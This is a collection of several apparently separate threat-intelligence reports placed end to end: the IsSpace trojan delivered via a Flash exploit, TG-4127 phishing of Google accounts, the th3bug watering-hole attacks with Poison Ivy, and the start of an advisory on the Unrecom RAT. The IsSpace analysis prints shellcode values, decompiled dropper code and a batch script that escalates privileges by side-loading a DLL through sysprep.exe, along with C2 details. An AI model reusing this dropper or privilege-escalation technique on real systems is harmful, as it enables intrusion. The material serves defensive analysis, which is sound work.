Embedded shellcode within the malicious Flash file These values can be converted into their byte representations using a simple Python script, truncated here for brevity.
import struct shellcode  [2.179763029E9,286956,2.425377536E9,2.2444484E9,4.29496648E9,1094795585] for s in shellcode: ...     print repr(struct.pack(I, s)) ... U\x8b\xec\x81 \xec\x04\x00 \x00S\x90\x90 \x90\x90\xc7\x85 \xd0\xfc\xff\xff AAAA import struct shellcode  [2.179763029E9,286956,2.425377536E9,2.2444484E9,4.29496648E9,1094795585] for s in shellcode: ...     print repr(struct.pack(I, s)) ... U\x8b\xec\x81 \xec\x04\x00 \x00S\x90\x90 \x90\x90\xc7\x85 \xd0\xfc\xff\xff AAAA http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/07/figure-1.png Looking at the shellcode in further detail shows a fairly simplistic instruction set.
Functions are loaded dynamically, and a file is dropped to TEMP\Rdws.exe before being executed using the WinExec Windows API call.
sz_file_path  GetTempPathA(256, file_path) v6  file_path v7  sz_file_path file_path[sz_file_path]  swdR v6[v7  4]  exe.
v6[v7  8]  0 file_handle  CreateFileA(file_path, 0x40000000, 0, 0, 2, 0, 0) if ( file_handle  -1 )  WriteFile(file_handle, data, v41, v110, 0) CloseHandle(file_handle) WinExec(file_path, 0)  sz_file_path  GetTempPathA(256, file_path) v6  file_path v7  sz_file_path file_path[sz_file_path]  swdR v6[v7  4]  exe.
v6[v7  8]  0 file_handle  CreateFileA(file_path, 0x40000000, 0, 0, 2, 0, 0) if ( file_handle  -1 )  WriteFile(file_handle, data, v41, v110, 0) CloseHandle(file_handle) WinExec(file_path, 0)  Returning to the Flash exploit, we discover that the dropped file is embedded within the Flash file itself as ByteArray.
This binary data is loaded and decompressed with ZLIB prior to being stored in a newly allocated section of memory.
The address of this binary data is then stored in the shellcode before it is executed.
Figure 2.
Exploit loading binary and running shellcode After successful execution, a binary with the following attributes is executed on the victims machine.
MD5 319500B2C792AEE6CD8EF8EE87D9DC1E SHA1 723DB4F13E98364098D76B925EA197F9ECD5309B SHA256 27439ADAA07F5AD16EB8039C16ECEB4E71F6358E7FC13AC645E8878DA8C3E77E Size 59904 Bytes File Type PE32 executable (GUI) Intel 80386, for MS Windows Compile Timestamp 2014-11-14 04:35:13 UTC Malware Details As seen by the compile timestamp, this malware sample is not extremely current.
The timestamp shows a compile date of November 14, 2014, which indicates that the infrastructure used by this particular sample has remained intact for quite some time, relatively speaking.
Analysis of the malware indicates that this sample is highly likely to be the Trojan tool IsSpace, which shares similar code and behaviors as the NFlog tool.
When comparing IsSpace to NFlog, we noticed a number of changes have been made.
When initially run, the malware attempts to write log messages to C:\ProgramData\log[.
]txt indicating that this variant was intended to run on Microsoft Windows 7 or higher.
However, it still maintains the capability to run on operating systems earlier than Microsoft Windows 7 if needed.
IsSpace creates an event named http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/07/figure-2.png MdQ0784kd to ensure that only a single instance of the malware is running at any given time on an infected host.
To determine the flow of execution, IsSpace gathers various data about the infected host, such as administrative rights of the user, operating system version, and CPU architecture.
If IsSpace determines that it is running as an administrator on a Microsoft Windows 7 system on a 32-bit platform, it will attempt to execute itself accordingly, using a side-loading technique.
The malware will drop a cabinet file and batch script to the following locations: TEMP\FASAP.DAT TEMP\FASAPI.bat The batch script contains the following: echo off ping localhost start wusa [TEMP]\FASAP.DAT /quiet /extract:windir\system32\sysprep\ ping localhost ping localhost ping localhost ping localhost ping localhost start windir\system32\sysprep\sysprep.exe [CWD]\[Malware].EXE echo off ping localhost start wusa [TEMP]\FASAP.DAT /quiet /extract:windir\system32\sysprep\ ping localhost ping localhost ping localhost ping localhost ping localhost start windir\system32\sysprep\sysprep.exe [CWD]\[Malware].EXE [CWD] is the directory where the malware was run from and [TEMP] is the full path of the TEMP directory.
The batch script will first extract the cabinet file to the sysprep directory.
The extracted file is a 32-bit DLL with the name CryptBase.dll.
The batch script continues to execute sysprep.exe after approximately 5 seconds, which will automatically load the dropped CryptBase.dll file.
This DLL will execute the provided argument in a child process.
This newly created process has elevated privileges as it is spawned by sysprep.exe.
A similar process is taken for 64-bit systems.
However, instead of dropping a batch script, a 64-bit executable along with a cabinet file containing a 64-bit version of CryptBase.dll is dropped to the following path instead: TEMP\FASAPI.bin TEMP\FASAP.DAT This executable is then run in a new process.
It is responsible for unpacking the cabinet file and spawning a new instance of sysprep.exe.
If the malware detects that it is running on a Windows XP host, it will attempt to check for Internet connectivity by making a HTTP request to www.microsoft.com.
This is similar to characteristics observed in the NFlog backdoor, with the primary deviation being that this activity only takes place when running in a Windows XP environment with IsSpace.
IsSpace proceeds to make HTTP requests to 172.246.109.27, which appears to be its primary command and control (C2) server.
The initial HTTP request is made to //STTip.asp.
Note the extra leading forward slash.
This is likely an unfortunate side effect of the malware expecting a subdirectory in the URI path.
As this particular sample did not supply one, the extra slash is seen.
An example request made can be seen below: Figure 3.
Initial IsSpace beacon being sent After the initial beacon, IsSpace will exfiltrate victim information by making an HTTP request to //SNews.asp?HostIDxx-xx-xx-xx-xx-xx, where the HostID contains the victims MAC address.
The POST data sent in this request is encrypted using the same four-byte XOR key of \x35\x8E\x9D\x7A that has been used by the NFlog tool.
http://www.microsoft.com/ http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/07/figure-3.png Figure 4.
IsSpace disseminating victim information and accepting command The decrypted information contains data similar to the following: 60-F8-1D-CC-2F-CF172.16.95.137WIN- LJLV2NKIOKPWin7English(US)2015-07-17 09:31:57Active303_20140401IsAdminsIsSpace 60-F8-1D-CC-2F-CF172.16.95.137WIN-LJLV2NKIOKPWin7English(US)2015- 07-17 09:31:57Active303_20140401IsAdminsIsSpace Once again, the exfiltrated data is very similar to what has been used by NFlog however with IsSpace, the victims user privilege level is also included, in addition to a variable of either IsSpace or IsGoogle.
This particular variable is still under investigation by Unit 42.
Additionally, we see what is likely a campaign code of 303_20140401.
After the successful check-in and initial exfiltration, IsSpace will then accept the following commands: Command Description Response URI CMD Executes command //STravel.asp Browse List specified directory //SJobs.asp UploadFile Upload file //SSports.asp DownLoad Download file //SWeather.asp DelFile Delete file N/A IsSpace provides attackers with a foothold into the victims machine and/or network.
While the malware itself provides limited functionality, it allows attackers to perform minimal reconnaissance and deploy further malware onto the device.
Infrastructure http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/07/figure-41.png Figure 5.
Infrastructure related to the command and control IP address The IP 172.246.109.27 is hardcoded in the IsSpace sample and is likely to be the primary C2 server.
Pivoting off of this primary C2 IP address using passive DNS data, we located seven domain names and two additional IP addresses that may be related to this attack.
Three of the domains found used the prefix ssl or dns as the third level domain this tactic is commonly used by malware authors as an evasion method.
Examining the WHOIS data for the domains revealed additional intelligence on possible attribution.
Specifically, the WHOIS data showed the start-vedioing[.
]net to be allegedly registered to an entity in Japan: Registry Registrant ID: Registrant Name: Alta Rohde Registrant Organization: Registrant Street: tokoy Registrant Street: tokoy Registrant City: tokoy Registrant State/Province: Aomori Registrant Postal Code: 236521 Registrant Country: Japan Registrant Phone: 81.21244215 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: alta.rohdeinbox[.
]com And the anywhere-staring[.
]com was found to be allegedly registered to an entity in China: Registry Registrant ID: Registrant Name: lan fei Registrant Organization: http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/07/figure-5.jpg Registrant Street: tian jing lu 244 Registrant City: bei da Registrant State/Province: qing nao Registrant Postal Code: 888000 Registrant Country: China Registrant Phone: 86.13877554411 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: csolyc110163[.
]com The geographic regions indicated in the WHOIS data are consistent with campaigns previously associated with NFlog, showing that the adversaries attributed to this malware were highly likely to be operating out of Southeast Asia.
IsSpace is a newer variant of the NFlog malware family, and contains many similarities in its behavior and code base.
It is highly likely that adversary groups that have historically used NFlog are now using IsSpace.
Conclusion Adversaries continue to exploit easily accessible vulnerabilities and readily re-use exploit code and payloads, largely due to their efficacy.
This type of behavior and activity is expected to continue for the near future due to the multiple vulnerabilities disclosed by the Hacking Team data breach.
As with many other previously disclosed advanced attacks, relying purely on a detection-based model for security is ineffective when IOCs are either unknown or are not readily available for ingestion.
Thus, it is imperative that organizations deploy automated, behavior-based preventative measures such as Palo Alto Networks WildFire or Traps to reduce the risk of unknown attacks.
Palo Alto Networks customers using WildFire are protected from this campaign.
Additionally, IPS signature 14365 detects IsSpace command and control traffic inside a network.
File Information Name Rdws.exe MD5 319500B2C792AEE6CD8EF8EE87D9DC1E SHA1 723DB4F13E98364098D76B925EA197F9ECD5309B SHA256 27439ADAA07F5AD16EB8039C16ECEB4E71F6358E7FC13AC645E8878DA8C3E77E Size 59904 Bytes File Type PE32 executable (GUI) Intel 80386, for MS Windows Compile Timestamp 2014-11-14 04:35:13 UTC https://www.paloaltonetworks.com/products/technologies/wildfire.html http://researchcenter.paloaltonetworks.com/2015/07/palo-alto-networks-traps-protects-from-latest-flash-zero-day-vulnerability-cve-2015-5119/ https://threatvault.paloaltonetworks.com/Home/ThreatDetail/14365 C2 IP Address 172.246.109.27 Name FASAPI.bin MD5 10DBFB65836773567B466918250D7EF4 SHA1 4330F5AD25980E0EBB0165F6B49727152735EF4A SHA256 25BA7D0399DDA177A2F35F2F5804BA54A272E43C192649339E5CBF8BD4EFA0E0 Size 9216 Bytes File Type PE32 executable (console) x86-64, for MS Windows Compile Timestamp 2014-05-06 13:23:38 UTC Name FASAP.DAT (64-bit) MD5 7F1779F37F257006576B2D41919441EC SHA1 4AC396084E932733BB887B51FA5A5E489D9CB0EC SHA256 53EDFF51E0E52B2D1E8526FEA144E9EA923183C2CFECE8A87DDA92B8390651AF Size 4065 Bytes File Type Microsoft Cabinet archive data, 4065 bytes, 1 file Name CryptBase.dll (64-bit) MD5 1F132F365E60CD43FFF75CD3CA464463 SHA1 4DF97974B36ADADFDFDA44172484019AD2EDD649 SHA256 BDBD4974F872A6B62528F4F03C64D6CD9CF5E9352582F5AE242DC7F843A6FE55 Size 9216 Bytes File Type PE32 executable (DLL) (GUI) x86-64, for MS Windows Compile Timestamp 2014-04-21 13:08:07 UTC Name FASAP.DAT MD5 D0D267D8CBBB7DBC59CFC68742FD0559 SHA1 4586685CC724DEDFFB9C41F65B2DFFC7017F2970 SHA256 05ACABAC8BCA04AC36FBD8B7DFBE21BDE720EBE82A6B642721114E7FBDA01BEA Size 3870 Bytes File Type Microsoft Cabinet archive data, 3870 bytes, 1 file Name CryptBase.dll (64-bit) MD5 BCDEC2A79EADF1DA2166BBB705A25AAE SHA1 FD2CE90293CBB7CD28B42CE8FFB2CE5D95ED3260 SHA256 052AAD8133E1FFC2863581DB33D366BA4180DFCF2E01ED7ACBEA4D53C355AB59 Size 7680 Bytes File Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Compile Timestamp 2014-04-20 12:19:57 UTC
Threat Group-4127 Targets Google Accounts secureworks.com/research/threat-group-4127-targets-google-accounts Author: SecureWorks Counter Threat Unit Threat Intelligence Summary SecureWorks Counter Threat Unit (CTU) researchers track the activities of Threat Group-41271 (TG-4127), which traditionally targets governments, military,international non-governmental organizations (NGOs), and most recently, Hillary Clintons email.
Components of TG-4127 operations have been reported under the names APT28, Sofacy, Sednit, Fancy Bear, and Pawn Storm.
CTU researchers assess with moderate confidence that the group is operating from the Russian Federation and is gathering intelligence on behalf of the Russian government.
In June 2016, CTU researchers published analysis of a TG-4127 campaign that targeted email accounts linked to Hillary Clintons 2016 presidential campaign and the U.S. Democrat National Committee.
The activity used the same technique as a 2015 spearphishing campaign that targeted more than 1,800 Google Accounts.
The threat group used the Bitly URL-shortening service to hide the location of a spoofed Google login page.
Many of the accounts in the 2015 campaign belonged to individuals in Russia and the former Soviet states, but some belonged to current and former military and government personnel in the U.S. and Europe, individuals working in the defense and government supply chain, and authors and journalists, particularly those with an interest in Russia.
The range of targets demonstrates that the threat group poses a broad threat to individuals and groups associated with U.S. politics, to organizations and individuals in the government and defense verticals, and to those whose business involves commenting on Russia.
Spearphishing Google Accounts In mid-2015, CTU researchers discovered TG-4127 using the accoounts-google .
com domain in spearphishing attacks targeting Google Account users.
The domain was used in a phishing URL submitted to Phishtank, a website that allows users to report phishing links (see Figure 1).
Figure 1.
Example of accoounts-google .
com used in a phishing URL.
(
Source: www.phishtank.com) Recipients who clicked the link were presented with a fake Google Account login page (see Figure 2).
The threat actors could use entered credentials to access the contents of the associated Gmail account.
1/8 https://www.secureworks.com/research/threat-group-4127-targets-google-accounts https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign Figure 2.
Fake Google Account login page.
(
Source: www.phishtank.com) Encoded target details Analysis of the phishing URL revealed that it includes two Base64-encoded values (see Figure 3).
The decoded Base64 values (see Table 1) match the Gmail account and its associated Google Account username.
If a target clicks the phishing link, the username field of the displayed fake Google Account login page is prepopulated with the individuals email address.
Figure 3.
Spearphishing URL.
(
Source: SecureWorks) 2/8 Table 1.
Decoded Base64 values from the phishing URL used by TG-4127.
Use of the Bitly URL-shortening service A Bitly URL was uploaded to Phishtank at almost the same time as the original spearphishing URL (see Figure 4).
Figure 4.
Bitly phishing URL submitted at same time as accoounts-google .
com phishing URL.
(
Source: www.phishtank.com) Using a tool on Bitlys website, CTU researchers determined that the Bitly URL redirected to the original phishing URL (see Figure 5).
Analysis of activity associated with the Bitly account used to create the shortened URL revealed that it had been used to create more than 3,000 shortened links used to target more than 1,800 Google Accounts.
Figure 5.
Link-shortener page for bit.ly/1PXQ8zP that reveals the full URL.
(
Source: www.bit.ly) Target analysis CTU researchers analyzed the Google Accounts targeted by TG-4127 to gain insight about the targets and the threat groups intent.
Focus on Russia and former Soviet states Most of the targeted accounts are linked to intelligence gathering or information control within Russia or former Soviet states.
The majority of the activity appears to focus on Russias military involvement in eastern Ukraine for example, the email address targeted by the most phishing attempts (nine) was linked to a spokesperson for the Ukrainian prime minister.
Other targets included individuals in political, military, and diplomatic positions in former 3/8 Soviet states, as well as journalists, human rights organizations, and regional advocacy groups in Russia.
Other targets worldwide Analysis of targeted individuals outside of Russia and the former Soviet states revealed that they work in a wide range of industry verticals (see Figure 6).
The groups can be divided into two broad categories: Authors, journalists, NGOs, and political activists (36) Government personnel, military personnel, government supply chain, and aerospace researchers (64) TG-4127 likely targeted the groups in the first category because they criticized Russia.
The groups in the second category may have information useful to the Russian government.
Figure 6.
TG-4127 targeting outside of Russia and former Soviet states.
(
Source: SecureWorks) Authors and journalists More than half (53) of the targeted authors and journalists are Russia or Ukraine subject matter experts (see Figure 7).
It is likely that the Russian state has an interest in how it is portrayed in the media.
U.S.-based military spouses who wrote online content about the military and military families were also targeted.
The threat actors may have been attempting to learn about broader military issues in the U.S., or gain operational insight into the military activity of the targets spouse.
4/8 Figure 7.
Subject matter expertise of authors and journalists targeted by TG-4127.
(
Source: SecureWorks) Government supply chain CTU researchers identified individuals who were likely targeted due to their position within the supply chain of organizations of interest to TG-4127 (e.g., defense and government networks).
Figure 8 shows the distribution by category.
The targets included a systems engineer working on a military simulation tool, a consultant specializing in unmanned aerial systems, an IT security consultant working for NATO, and a director of federal sales for the security arm of a multinational technology company.
The threat actors likely aimed to exploit the individuals access to and knowledge of government clients information.
5/8 Figure 8.
Categories of supply chain targets.
(
Source: SecureWorks) Government / military personnel TG-4127 likely targeted current and former military and government personnel for potential operational insight gained from access to their personal communications.
Most of the activity focused on individuals based in the U.S. or working in NATO-linked roles (see Figure 9).
6/8 Figure 9.
Nation or organization of government/military targets.
(
Source: SecureWorks) TG-4127 targeted high-profile Syrian rebel leaders, including a leader of the Syrian National Coalition.
Russian forces have supported Syrian President Bashar al-Assads regime since September 2015, so it is likely the threat actors are seeking to gain intelligence on rebel forces to assist Russian and Assad regime military operations.
Success of the phishing campaign CTU researchers analyzed 4,396 phishing URLs sent to 1,881 Google Accounts between March and September, 2015.
More than half (59) of the URLs were accessed, suggesting that the recipients at least opened the phishing page.
From the available data, it is not possible to determine how many of those Google Accounts were compromised.
Most of the targeted accounts received multiple phishing attempts, which may indicate that previous attempts had been unsuccessful.
However, 35 of accounts that accessed the malicious link were not subject to additional attempts, possibly indicating that the compromise was successful.
Of the accounts targeted once, CTU researchers determined that 60 of the recipients clicked the malicious Bitly.
Of the accounts that were targeted more than once, 57 of the recipients clicked the malicious link in the repeated attempts.
These results likely encourage threat actors to make additional attempts if the initial phishing email is unsuccessful.
Conclusion TG-4127 primarily poses a threat to organizations and individuals operating in Russia and former Soviet states.
However, a significant component of its activity targets entities in Western Europe and the U.S.
The following types 7/8 of individuals and organizations are at greatest risk: Russia subject matter experts Individuals and organizations that publish articles portraying Russia in a negative context Defense or government organizations Organizations and individuals involved in the government supply chain Former military or government personnel Individuals associated with U.S. politics Users rarely check the full URL associated with URLs generated by a URL-shortening service, so threat groups can use these services to effectively hide phishing website URLs.
URL-shortening services provide detailed statistics about which links were clicked when, and from what location.
This information allows threat actors to track the success of a spearphishing campaign.
Access to an individuals email account provides a substantial amount of useful intelligence.
Threat actors could also use control of an account to launch additional attacks to penetrate the network of an associated organization.
Organizations should educate users about the risks of spearphishing and shortened links.
CTU researchers recommend using caution and exercising due diligence when faced with a shortened link, especially in unsolicited email messages.
Pasting Bitly URLs, appended with a plus sign, into the address bar of a web browser reveals the full URL.
Appendix  Gauging confidence level CTU researchers have adopted the grading system published by the U.S. Office of the Director of National Intelligence to indicate confidence in their assessments: High confidence generally indicates that judgments are based on high-quality information, and/or that the nature of the issue makes it possible to render a solid judgment.
A high confidence judgment is not a fact or a certainty, however, and such judgments still carry a risk of being wrong.
Moderate confidence generally means that the information is credibly sourced and plausible but not of sufficient quality or corroborated sufficiently to warrant a higher level of confidence.
Low confidence generally means that the informations credibility and/or plausibility is questionable, or that the information is too fragmented or poorly corroborated to make solid analytic inferences, or that [there are] significant concerns or problems with the sources.
Footnote 1 The SecureWorks Counter Threat Unit (CTU) research team tracks threat groups by assigning them four-digit randomized numbers (4127 in this case), and compiles information from first-hand incident response observations and from external sources.
8/8 Threat Group-4127 Targets Google Accounts Summary Spearphishing Google Accounts Encoded target details Use of the Bitly URL-shortening service Target analysis Focus on Russia and former Soviet states Other targets worldwide Authors and journalists Government supply chain Government / military personnel Success of the phishing campaign Conclusion Appendix  Gauging confidence level Footnote
Recent Watering Hole Attacks Attributed to APT Group th3bug Using Poison Ivy Weve uncovered some new data and likely attribution regarding a series of APT watering hole attacks this past summer.
Watering hole attacks are an increasingly popular component of APT campaigns, as many people are more aware of spear phishing and are less likely to open documents or click on links in unsolicited emails.
Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and installing malware intended to compromise website visitors.
These are often popular websites frequented by people who work in specific industries or have political sympathies to which the actors want to gain access.
The attacks discussed in this blog are related to an APT campaign commonly referred to as th3bug, named for the password the actors often use with their Poison Ivy malware.
Of note, only the older of the samples we cover in this blog used that password.
We dont know the reason the actors changed this, but it could possibly be in reaction to information widely published on the Internet about their activities, which use that password as a key component to tie the activity together.
FireEye in particular published a paper describing several APT campaigns whose activity they correlate using Poison Ivy passwords.
In contrast to many other APT campaigns, which tend to rely heavily on spear phishing to gain victims, th3bug is known for compromising legitimate websites their intended visitors are likely to frequent.
Over the summer they compromised several sites, including a well-known Uyghur website written in that native language.
While we were unable to recover the initial vulnerability used, it is possibly the same CVE 2014-0515 Adobe Flash exploit first reported by Cisco TRAC in late July.
We cannot confirm the initial compromised sites, but we noted traffic to several known re-direct sites and the malware was configured to use the same command and control (C2) server.
In addition, the download dates of many of our files pre-date those noted by Cisco by only a few days.
All of the malware were variants of the Poison Ivy Remote Administration Tool (RAT) and were properly identified as such by our WildFire platform.
The targets of the attack were: Uyghur sympathizers An East Asian office for a major US based computer manufacturer A major US university An international wholesale and retail telecom provider We saw the first sample on July 14, 2014.
This sample had an interesting PDB string  C: http://www.fireeye.com/resources/pdfs/fireeye-poison-ivy-report.pdf http://blogs.cisco.com/security/far-east-targeted-by-drive-by/ \Users\sophie\documents\visual studio 2010\Projects\init\Release\init.pdb with a time date string that exactly matched the PE timestamp of 11 July, 2014.
Table 1 SHA256 ba509a1d752f3165dc2821e0b1c6543c15988fd7abd4e56c6155de09d1640ce9 MD5 18ad696f3459bf47f97734f2f14506e3 File Name diff.exe File Size 97280 First Seen 2014-07-14 13:55:36 Download URL www.npec.com .tw/flash/diff.exe Resolution 203.69.42.22 C2 Domain diff.qohub.info Resolution 115.23.172.151 The next day we collected several copies of the same malware intended for the same industry.
They were downloaded from one of the download URLs in the below table, but all had the same MD5 and C2 domain.
Table 2 SHA256 9d149baceaaff2a67161fec9b8978abc22f0a73a1c8ce87edf6e2fb673ac7374 MD5 1ea41812a0114e5c6ae76330e7b4af69 File Name diff.exe File Size 126976 First Seen 2014-07-15 18:22:25 Download URLs www.aanon.com .tw/flash/diff.exewww.npec.com .tw/flash/diff.exeuyghurweb .net/player/gmuweb.exe Resolution 203.69.42.22 C2 Domain diff.qohub.info Resolution 115.23.172.151 On July 16 WildFire picked up a malicious executable hosted on uyghurweb.net, a legitimate Uyghur website that was compromised to infect users.
The file was named PYvBte.jar but was actually a Windows executable.
The file has the characteristics listed in Table 3, and appears to be a stand-alone executable version of the Metasploit Meterpreter shell.
When this file runs, it downloads a payload from uyghurweb.net/player/gmuweb.exe and executes it.
This file is the same Poison Ivy RAT described in Table 2.
The Meterpreter payload masquerades as a copy of the ApacheBench tool made by the Apache Software Foundation.
Table 3 SHA256 ccfe61a28f35161c19340541dfd839075e31cd3b661f0936a4c667d805a65136 MD5 7b0cb4d14d3d8b6ccc7453f7ddb33997 File Name PYvBte.jar File Size 73802 First Seen 2014-07-16 01:42:24 Download URL uyghurweb .net/player/PYvBte.jar On 21 July, we detected another sample that was noted in the Cisco TRAC blog.
The initial download URL and IP resolution were different than the previous samples, but the C2 domain and resolution matched.
This file is also a Poison Ivy variant.
Table 4 SHA256 7f39e5b9d46386dd8142ef40ae526343274bdd5f27e38c07b457d290a277e807 MD5 efad656db0f9cc92b1e15dc9c540e407 File Name setup.exe File Size 126976 First Seen 2014-07-21 05:09:56 Download URL www.ep66.com .tw/setup.exe Resolution 203.69.42.23 C2 Domain app.qohub.info Resolution 115.23.172.151 Based on historical IP resolution overlaps between the above C2 domains and other domains that have also resolved to the same IPs, we found an additional sample from the beginning of this year.
Interestingly, the first sample was not logged in VirusTotal prior to our submission, despite the sample having been in use in the wild for at least seven months.
In addition, it is the only sample tied to this activity we found that used the Poison Ivy password th3bug.
AVAST wrote a blog related to the activity we describe here and tied a file with the same name, but the sample we found doesnt match any other details of the file they documented.
Also of note, the IP resolution for this C2 domain was changed to match the IP resolution of the C2 domains used in the July activity only a few days after these samples were seen.
Additionally, the files PE timestamp was January 21, the day before we detected the sample.
Targeted industries for this series are listed below.
Another international wholesale and retail telecom provider A major visual computing company headquartered in the US A state-owned East Asian financial services company Table 5 SHA256 e3d02e5f69d3c2092657d64c39aa0aea2a16ce804a47f3b5cf44774cde3166fe MD5 0cabd6aec2555e64bdf39320f338e027 File Name AppletLow.jar File Size 53248 First Seen 2014-01-22 18:47:03 Download URL 140.112.158 .132/phpmyadmin/test/AppletLow.jar C2 Domain 2014year.qpoe .com Resolution 192.168.1.3 Watering hole attacks will continue to be popular with APT campaigns, as they are much harder to defend against then spear phishing attacks.
There is no way for people browsing to these websites to know in advance the normally trusted website has been compromised and will serve them malware when they visit it.
Ensuring web browsers and operating system software is fully patched and up-to-date is the best way to defend against this type of threat.
However, to increase success rates APT campaigns can use zero-day exploits, so even a properly patched system would be compromised.
Palo Alto Networks users should use https://blog.avast.com/2013/01/22/reporters-without-borders-website-misused-in-wateringhole-attack/ our firewalls ability to block executable downloads unless the user specifically authorizes it.
If you want to allow executables through but prefer that they be analyzed for malicious activity, use our WildFire platform, which correctly identified all of the files listed in this blog as malware and provides users with a full report on the samples host and network-based activities.
https://www.paloaltonetworks.com/documentation/pan-os/pan-os/section_9/chapter_6.html
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This document cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of Fidelis Security Systems, Inc.
While we have done our best to ensure that the material found in this document is accurate, Fidelis Security Systems, Inc. makes no guarantee that the information contained herein is error free.
Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-05-21 Threat Advisory 1013 Page 1 of 16 RAT in a jar: A phishing campaign using Unrecom Fidelis Threat Advisory 1013 RAT in a jar: A phishing campaign using Unrecom May 21, 2014 Document Status: 1.0 Last Revised: 2014-05-21 Executive Summary In the past two weeks, we have observed an increase in attack activity against the U.S. state and local government, technology, advisory services, health, and financial sectors through phishing emails with what appears to be a remote access trojan (RAT) known as Unrecom.
The attack has also been observed against the financial sector in Saudi Arabia and Russia.
As Unrecom1 is a comprehensive multi-platform Java-based remote access tool, currently not detected by most AntiVirus products, it presents a risk to a large number of potential victims, regardless of operating system.
The following is a screenshot of the Unrecom RAT v.2.0 (Version in Spanish): Over time, various reports in the community have documented the evolution of this tool.
This evolution is to be expected, but its low detection rate, recent use this month through phishing emails campaigns against multiple sectors in the U.S. and association with past campaigns involving a variety of RATs captured our attention.
The evolution of Unrecom RAT dates from its beginnings as a tool known as Frutas RAT, subsequently branded as Adwind RAT, and now Unrecom RAT.
In 2013, it was reported that Frutas RAT was used in phishing email campaigns against high profile companies in Europe and Asia in sectors such as finance, mining, telecom, and government2.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory 1013 Page 2 of 16      RAT in a jar: a phishing campaign using Unrecom Unrecom RAT provides the attacker with full control over the compromised system, once infected.
It has some of the following capabilities: - Collection of System Information (e.g.
IP, OS version, memory RAM information, Java version, Computer Name, User account compromised, etc.)
-
Upload  Execute additional malware, typically exploiting vulnerabilities derived from collected system information - Capture Webcam and Microphone, without user notification - Remote Desktop to watch user activity - File Manager allowing access to files in the context of the current user - Browser Password theft - Keylogging to capture passwords otherwise obscured from viewing In the past, variants of the DarkComet and AcromRAT malware have also been observed beaconing to the same Command  Control (CnC) servers used by the Unrecom RAT in this campaign.
This document will provide information about the recent phishing campaigns observed with this RAT and some of the network indicators.
Threat Overview The increased threat activity against the U.S. state and local government, technology, advisory services, and health sectors in the past two weeks is of great concern to us as it is being carried through phishing emails with what appears to be a tool known as Unrecom RAT.
The phishing emails try to trick the users into thinking the emails are legitimate by attaching the RAT with the some of the following names: Payment Invoice.jar, Payment details.jar, POR94586.zip/POR94586.jar, INV94586.zip/INV94586.jar, Invitation.jar, reports-pdf.jar, US25k.jar, and DBC_BANK_IMG_23456_156.jar, and lremit_Transfer_Error_Page.jar.
Some of the email message subjects observed during this campaign are: Subject: Thank you Subject: FW: URGENT CONFIRMATION P/I 94578 Subject: Invitation Subject: Payment details Subject: Transfer Investigation report Subject: US25,000 TT COPY ATTACHED Subject: Remittance Error 2089/234- Reported lost of data (Complete and email back) Subject: Transfer error, kindly reverse to us.
It appears that the latest version of this RAT is 3.2 and is being sold at unrecom[.
]net for 500 (Enterprise Version) and 200 (Full Version).
We find it interesting that on their website, the authors of this software recommend Unrecom RAT buyers to not scan created servers (malware deployed to Victim systems) at Virustotal nor Metascan.
This is www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory 1013 Page 3 of 16      RAT in a jar: a phishing campaign using Unrecom indicative of the adaptive, counter-intelligence techniques being adopted as threat actors become aware that many security researchers use these services to gather threat intelligence.
Significantly, malware objects seen in previous campaigns like DarkComet and ArcomRAT8 have also been observed beaconing to the same CnC servers Unrecom RAT is currently using.
DarkComet is known to be a popular RAT used in threat activity in the Middle East 6,7.
Risk Assessment A remote access tool provides an attacker with full control over the victim system.
Once a system has been compromised, the attacker may install one or more backdoors.
These backdoors provide a persistent foothold, using a separate command and control channel allowing future access less likely to be correlated to the original activity.
Through its modular plugin framework, this particular tool lets the attacker obtain System Information (e.g.
IP, OS version, memory RAM information, Java version, Computer Name, User account compromised, etc.
),
Upload  Execute additional malware, Capture Webcam, Remote Desktop, File Manager, Browser Password Recovery, Capture Microphone, Keylogger, etc.
Indicators and Mitigation Strategies The following will present detailed information about some of the phishing emails observed and the attached malware: 1.
Invitation.jar File Name:  Invitation.jar File Size:  43866 bytes MD5:        859c4c667dd0f44f80b60242d93c4b0f SHA1:       40859bc18ea0ffa9bcf5af699336fbdbfd6be7f1 The Invitation.jar malware was sent in a phishing email that contained some of the following details: From Sarah Alexander mthomas3mybluelight[.
]com Subject Invitation Date Sun, 4 May 2014 08:44:53 GMT Attachment Invitation.jar Reply-To marvinflamesgmail.com X-Originating-Ip  87.117.232[.
]203 Message body Hello, I cordially invite you to our anniversary It is a celebration of life and love.
Just like yesterday, we have grown maturely in our relationship.
We are happy and hope you can join us on our day.
Check attachment for Venue, Dress code, Program event and Date.
Thank you all.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory 1013 Page 4 of 16      RAT in a jar: a phishing campaign using Unrecom Sarah and Fred Sunday, May 04, 2014 The greatest education in the world is watching the masters at work.
-
Michael Jackson The following is a screenshot of the email: The Invitation.jar malware beaconed to magnumbiz.no-ip[.
]biz over port 1505.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory 1013 Page 5 of 16      RAT in a jar: a phishing campaign using Unrecom 2.
